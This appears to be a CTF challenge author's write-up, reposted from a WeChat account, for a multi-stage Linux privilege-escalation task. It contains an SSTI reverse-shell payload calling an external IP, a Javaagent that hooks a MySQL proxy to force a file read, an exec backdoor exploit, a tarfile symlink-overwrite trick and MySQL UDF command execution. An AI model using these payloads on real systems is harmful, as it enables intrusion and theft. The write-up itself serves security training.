【WP】2024年春秋杯夏季赛“brother”出题思路详解

admin 2024年8月1日11:25:30评论14 views字数 15424阅读51分24秒阅读模式
题目要求

brother

本题主要考察使用UDF(用户定义函数)进行提权的方法。
核心步骤如下:
1.编写一个可调用系统命令的共享库文件(在Linux系统中使用.so文件)。
2.将共享库文件导入到指定目录。
3.在MySQL数据库中创建使用该共享库的自定义函数。
4.通过调用该自定义函数执行系统命令,从而实现提权。
总体思路

入口为one权限,同为one权限的还有sql-proxy.jar,作为一个代理服务器,主要负责将6666端口的流量转发到本地的3306端口。
two用户运行的api.py中有定时对MySQL进行存活检测的操作,是通过6666端口进行连接的,我们可以通过Javaagent技术劫持该socket输出流向检测程序发送任意文件读取的恶意包,然后将读取结果输出到文件,即可获得远程代码执行的key,进而拿到two用户权限。
three拥有MySQL插件目录的写入权限,且运行的update.py接收来自api.py的数据包,当code为1时将指定的tar.gz文件中的new.bin解压到/updatedir中,利用tarfile的软链接覆盖写入漏洞,将udf.so写入到mysql的插件目录中,然后即可udf提权后读取flag。

【WP】2024年春秋杯夏季赛“brother”出题思路详解

入口

入口没什么考察点,普通的ssti,使用以下payload完成反弹shell。
{{lipsum.__globals__['os'].popen('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F8.134.146.39%2F6666%200%3E%261%22').read()}}
拿到shell后发现flag为root只读权限,需要提权,查看进程发现有以下程序在运行:
【WP】2024年春秋杯夏季赛“brother”出题思路详解

one用户

分析sql-proxy.jar,main方法代码如下:
Base64ClassLoader base64ClassLoader = new Base64ClassLoader();Class cls = base64ClassLoader.loadClassFromBase64("yv66......");cls.newInstance();
通过解码base64并加载字节码为一个类后实例化,这里在出题的时候主要是想提升一下agent在hook时候的难度。通过base64解码后反编译可以获得Proxy类的代码:
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package com.ctf;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.ServerSocket;import java.net.Socket;public class Proxy {    private int c = 0;    public Proxy() {        int sourcePort = 6666;        String destinationHost = "127.0.0.1";        int destinationPort = 3306;        try {            ServerSocket serverSocket = new ServerSocket(sourcePort);            try {                while(true) {                    while(true) {                        try {                            Socket sourceSocket = serverSocket.accept();                            System.out.println(sourceSocket.getRemoteSocketAddress());                            Socket destinationSocket = new Socket(destinationHost, destinationPort);                            Thread sourceToDestination = new Thread(() -> {                                this.forwardData(sourceSocket, destinationSocket);                            });                            sourceToDestination.start();                            Thread destinationToSource = new Thread(() -> {                                this.forwardData(destinationSocket, sourceSocket);                            });                            destinationToSource.start();                        } catch (Exception var10) {                            var10.printStackTrace();                        }                    }                }            } catch (Throwable var11) {                try {                    serverSocket.close();                } catch (Throwable var9) {                    var11.addSuppressed(var9);                }                throw var11;            }        } catch (Exception var12) {            var12.printStackTrace();        }    }    private void forwardData(Socket inputSocket, Socket outputSocket) {        try {            InputStream inputStream = inputSocket.getInputStream();            try {                OutputStream outputStream = outputSocket.getOutputStream();                try {                    byte[] buffer = new byte[1024];                    int read;                    while((read = inputStream.read(buffer)) != -1) {                        this.send(outputStream, buffer, read);                    }                } catch (Throwable var10) {                    if (outputStream != null) {                        try {                            outputStream.close();                        } catch (Throwable var9) {                            var10.addSuppressed(var9);                        }                    }                    throw var10;                }                if (outputStream != null) {                    outputStream.close();                }            } catch (Throwable var11) {                if (inputStream != null) {                    try {                        inputStream.close();                    } catch (Throwable var8) {                        var11.addSuppressed(var8);                    }                }                throw var11;            }            if (inputStream != null) {                inputStream.close();            }        } catch (Exception var12) {            try {                inputSocket.close();                outputSocket.close();            } catch (Exception var7) {            }        }    }    private void send(OutputStream o, byte[] data, int c) throws IOException {        o.write(data, 0, c);        o.flush();    }}
实现了一个流量转发的功能,我们可以hook它的send方法来向客户端发送恶意流量包读取/app/evil.key。
以下是m4x编写的javaagent代码:
Hook.java
package com.test;
import com.sun.tools.attach.VirtualMachine;import java.lang.instrument.Instrumentation;import java.util.jar.JarFile;
public class Hook {        public static void main(String[] args) {            String pid = args[0];            String agentPath = args[1];            try {                VirtualMachine vm = VirtualMachine.attach(pid);                vm.loadAgent(agentPath,agentPath);                vm.detach();                System.out.println("Agent attached to process " + pid);            } catch (Exception e) {                e.printStackTrace();            }        }    public static void agentmain(String agentArg, Instrumentation inst) throws Exception {    String hookClass = "com.ctf.Proxy";    String hookMethod = "send";    String hookCode = "java.io.FileWriter writer = new java.io.FileWriter("/tmp/data.log", true);n" +            "            writer.write(new String(data));writer.close();n" +            "        nString file = "/app/evil.key";n" +            "o.write(new byte[]{(byte)(file.length() + 1),0x00,0x00,0x01,(byte)0xfb});n" +            "o.write(file.getBytes());n" +            "o.flush();return;";    inst.appendToBootstrapClassLoaderSearch(new JarFile(agentArg));    HookTransformer socketTransformer = new HookTransformer(hookClass,hookMethod,hookCode,1); // 0、 在方法调用后执行。1、在方法调用前执行  2、直接替换方法体    inst.addTransformer(socketTransformer,true);    Class[] cs = inst.getAllLoadedClasses();
    boolean flag = false;    for (Class a : cs){        if (a.getName().equals(hookClass)){            flag = true;            try {                inst.retransformClasses(a);                System.out.println("成功重转换类:" + hookClass);            } catch (Exception e) {                e.printStackTrace();                System.out.println("重转换失败:" + hookClass);            }        }    }
    if (!flag){        System.out.println("类尚未初始化,无需重转换: " + hookClass);    }
    }
    public static void premain(String agentArg, Instrumentation inst) throws Exception {        agentmain(agentArg,inst);    }}
因为Proxy类是动态加载的,因此需要在我们的agent中也添加上这个类,否则sstis将找不到这个类而报错。直接复制反编译的代码过来即可。
Proxy.java
package com.ctf;
import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.ServerSocket;import java.net.Socket;public class Proxy {    private int c = 0;    public Proxy() {        int sourcePort = 6666;        String destinationHost = "127.0.0.1";        int destinationPort = 3306;        try {            ServerSocket serverSocket = new ServerSocket(sourcePort);            try {                while(true) {                    while(true) {                        try {                            Socket sourceSocket = serverSocket.accept();                            System.out.println(sourceSocket.getRemoteSocketAddress());                            Socket destinationSocket = new Socket(destinationHost, destinationPort);                            Thread sourceToDestination = new Thread(() -> {                                this.forwardData(sourceSocket, destinationSocket);                            });                            sourceToDestination.start();                            Thread destinationToSource = new Thread(() -> {                                this.forwardData(destinationSocket, sourceSocket);                            });                            destinationToSource.start();                        } catch (Exception var10) {                            var10.printStackTrace();                        }                    }                }            } catch (Throwable var11) {                try {                    serverSocket.close();                } catch (Throwable var9) {                    var11.addSuppressed(var9);                }                throw var11;            }        } catch (Exception var12) {            var12.printStackTrace();        }    }    private void forwardData(Socket inputSocket, Socket outputSocket) {        try {            InputStream inputStream = inputSocket.getInputStream();            try {                OutputStream outputStream = outputSocket.getOutputStream();                try {                    byte[] buffer = new byte[1024];                    int read;                    while((read = inputStream.read(buffer)) != -1) {                        this.send(outputStream, buffer, read);                    }                } catch (Throwable var10) {                    if (outputStream != null) {                        try {                            outputStream.close();                        } catch (Throwable var9) {                            var10.addSuppressed(var9);                        }                    }                    throw var10;                }                if (outputStream != null) {                    outputStream.close();                }            } catch (Throwable var11) {                if (inputStream != null) {                    try {                        inputStream.close();                    } catch (Throwable var8) {                        var11.addSuppressed(var8);                    }                }                throw var11;            }            if (inputStream != null) {                inputStream.close();            }        } catch (Exception var12) {            try {                inputSocket.close();                outputSocket.close();            } catch (Exception var7) {            }        }    }    private void send(OutputStream o, byte[] data, int c) throws IOException {        o.write(data, 0, c);        o.flush();    }}

HookTransformer.java
package com.test;
import javassist.*;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;
public class HookTransformer implements ClassFileTransformer {    private ClassPool classPool;    private String hookClass;    private String hookMethod;    private String hookCode;    private int pos = 0;    public HookTransformer(String hookClass, String hookMethod, String HookCode, int pos) throws NotFoundException {        this.hookClass = hookClass;        this.hookMethod = hookMethod;        this.hookCode = HookCode;        this.classPool = new ClassPool();        this.classPool.appendClassPath(new LoaderClassPath(this.getClass().getClassLoader()));        this.classPool.appendSystemPath();        this.pos = pos;    }
    @Override    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,                            ProtectionDomain protectionDomain, byte[] classfileBuffer) {        classPool.appendClassPath(new LoaderClassPath(loader));        if (className.equals(this.hookClass.replace(".","/"))) {            try {                CtClass ctClass = this.classPool.get(this.hookClass);                CtMethod ctMethod = ctClass.getDeclaredMethod(this.hookMethod);                if (this.pos == 0){                    ctMethod.insertAfter(this.hookCode);                } else if (this.pos == 1){                    ctMethod.insertBefore(this.hookCode);                } else if (this.pos == 2){                    ctMethod.setBody(this.hookCode);                } else {                    throw new Exception("必须指定一个代码插入点");                }                byte[] byteCode = ctClass.toBytecode();                ctClass.detach();                return byteCode;            } catch (Exception e) {                e.printStackTrace();            }        }        return null;    }}
这里主要是对jar包的属性进行配置,否则无法正确的attach运行jvm。
pom.xml
<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>
    <groupId>com.test</groupId>    <artifactId>Hook</artifactId>    <version>1.0-SNAPSHOT</version>

    <properties>        <maven.compiler.source>11</maven.compiler.source>        <maven.compiler.target>11</maven.compiler.target>        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>    </properties>
    <dependencies>        <!-- 其他依赖项 -->
        <!-- Javassist 依赖项 -->        <dependency>            <groupId>org.javassist</groupId>            <artifactId>javassist</artifactId>            <version>3.27.0-GA</version> <!-- 使用最新版本 -->        </dependency>
        <!-- 其他依赖项 -->    </dependencies>

    <build>        <plugins>            <plugin>                <groupId>org.apache.maven.plugins</groupId>                <artifactId>maven-jar-plugin</artifactId>                <version>3.2.0</version> <!-- 使用最新版本 -->                <configuration>                    <archive>                        <manifest>                            <addClasspath>true</addClasspath>                            <classpathPrefix>lib/</classpathPrefix>                            <mainClass>com.test.Hook</mainClass>                        </manifest>                    </archive>                </configuration>            </plugin>
            <plugin>                <artifactId>maven-assembly-plugin</artifactId>                <version>3.3.0</version> <!-- 使用最新版本 -->                <configuration>                    <descriptorRefs>                        <descriptorRef>jar-with-dependencies</descriptorRef>                    </descriptorRefs>                    <archive>                        <manifestEntries>                            <Agent-Class>com.test.Hook</Agent-Class>                             <Can-Redefine-Classes>true</Can-Redefine-Classes>                            <Can-Retransform-Classes>true</Can-Retransform-Classes>                        </manifestEntries>                    </archive>                </configuration>                <executions>                    <execution>                        <id>make-assembly</id> <!-- 此处ID可以任意 -->                        <phase>package</phase>                        <goals>                            <goal>single</goal>                        </goals>                    </execution>                </executions>            </plugin>        </plugins>    </build>
</project>
使用wget将agent的jar包、jattach(git搜jattach第一个)程序从远程下载下来,然后使用以下命令进行attach,第一个参数为sql-proxy的pid,需要根据实际情况来修改。
./jattach 32 load instrument false "/tmp/x.jar=/tmp/x.jar"
完成attach后查看/tmp/data.log可以看到32位的hex,就是evil.key的内容。然后可以使用这个key来对http://127.0.0.1:5000/evil进行远程代码执行,这里拿下two用户权限。

two用户

two用户运行着api.py,代码如下:
import mysql.connector, time, threading, socketfrom flask import Flask, request
app = Flask(__name__)

def mysql_keepalive():    config = {        'user': 'ctf',        'password': '123456',        'host': '127.0.0.1',        'database': 'mysql',        'port': 6666,
    }    try:        db_connection = mysql.connector.connect(**config)        cursor = db_connection.cursor()    except mysql.connector.Error as err:        print(err)        exit(0)    while True:        try:            cursor.execute("SELECT VERSION();")            cursor.fetchone()        except mysql.connector.Error as err:            print(f"连接中断: {err}")        time.sleep(10)

def handle_client_connection(client_socket):    try:        while True:            client_socket.send('{"code":0, "path": ""}'.encode('utf-8'))            time.sleep(10)    except Exception as e:        print(f"Error handling client: {e}")

def update_api():    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    host = '0.0.0.0'    port = 7777    server_socket.bind((host, port))    server_socket.listen(1)    print(f"update_api Listening on port {port}...")    while True:        client_socket, addr = server_socket.accept()        handle_client_connection(client_socket)

@app.route('/evil', methods=['POST'])def evil():    code = request.json['code']    key = request.json['key']    if key == open("./evil.key").read():        exec(code)        return "ok"    else:        return "key error"

if __name__ == '__main__':    threading.Thread(target=mysql_keepalive).start()    threading.Thread(target=update_api).start()    app.run("127.0.0.1", 5000)
上面有个7777端口作为three用户检测更新的服务,但是服务尚未开发完成,每次都会返回code:0 也就不会触发更新,由于我们可以在evil接口执行任意代码,可以利用写文件描述符的方法来向检测更新的客户端socket写入自定义内容使用以下脚本完成:
import requestscode = '''for i in range(3,10):    try:        __import__('os').write(i,b'{"code": 1, "path": "/tmp/update.tar.gz"}')    except:        pass'''data = {"key": "e43377c2e793ba6be737f759c7fc44f2","code": code}print(requests.post("http://127.0.0.1:5000/evil",json=data).text)
代码向除了0-2(标准输入输出错误)的文件描述符都发送了payload,由于update程序一直都在保持连接,因此它也会收到该payload。

three用户

运行了专门负责自动更新的update.py脚本。
import jsonimport socketimport tarfile
def extract_specific_file(tar_path, file_name, extract_path):    with tarfile.open(tar_path, "r:gz") as tar:        file_info = tar.getmember(file_name)        tar.extract(file_info, path=extract_path)        print("ok")
s = socket.socket()s.connect(("127.0.0.1", 7777))while True:    data = s.recv(1024)    try:        js = json.loads(data)        if js['code'] == 1:            extract_specific_file(js['path'], 'new.bin', "/updatedir")    except:        s.send(b'Error')
当code为1时将提取path指定的tar.gz文件,并提取里面的new.bin存放到/updatedir,由于只提取一个文件,无法使用目录穿越,这里可以利用链接覆盖写入的漏洞将so文件写入到MySQL插件目录下,首先生成一个包含链接的tar.gz文件。
ln -s /usr/lib/mysql/plugin/udf.so /root/new.bintar -cvzf update.tar.gz
使用以下exp来完成第一个更新。
import requestscode = '''for i in range(3,10):    try:        __import__('os').write(i,b'{"code": 1, "path": "/tmp/update.tar.gz"}')    except:        pass'''data = {"key": "e43377c2e793ba6be737f759c7fc44f2","code": code}print(requests.post("http://127.0.0.1:5000/evil",json=data).text)
然后将真正的udf.so改名为new.bin,并压缩为update1.tar.gz,使用以下exp来完成第二个更新。
import requestscode = '''for i in range(3,10):    try:        __import__('os').write(i,b'{"code": 1, "path": "/tmp/update1.tar.gz"}')    except:        pass'''data = {"key": "e43377c2e793ba6be737f759c7fc44f2","code": code}print(requests.post("http://127.0.0.1:5000/evil",json=data).text)
以上的更新包需要使用wget从远端下载到/tmp目录下,到这里就可以使用udf提权来完成读取flag了:
mysql -uctf -p123456 -e 'CREATE FUNCTION sys_eval RETURNS STRING SONAME "udf.so";'mysql -uctf -p123456 -e 'select sys_eval("chmod 777 /flag");'
【WP】2024年春秋杯夏季赛“brother”出题思路详解

原文始发于微信公众号(春秋伽玛):【WP】2024年春秋杯夏季赛“brother”出题思路详解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月1日11:25:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【WP】2024年春秋杯夏季赛“brother”出题思路详解https://cn-sec.com/archives/2985474.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息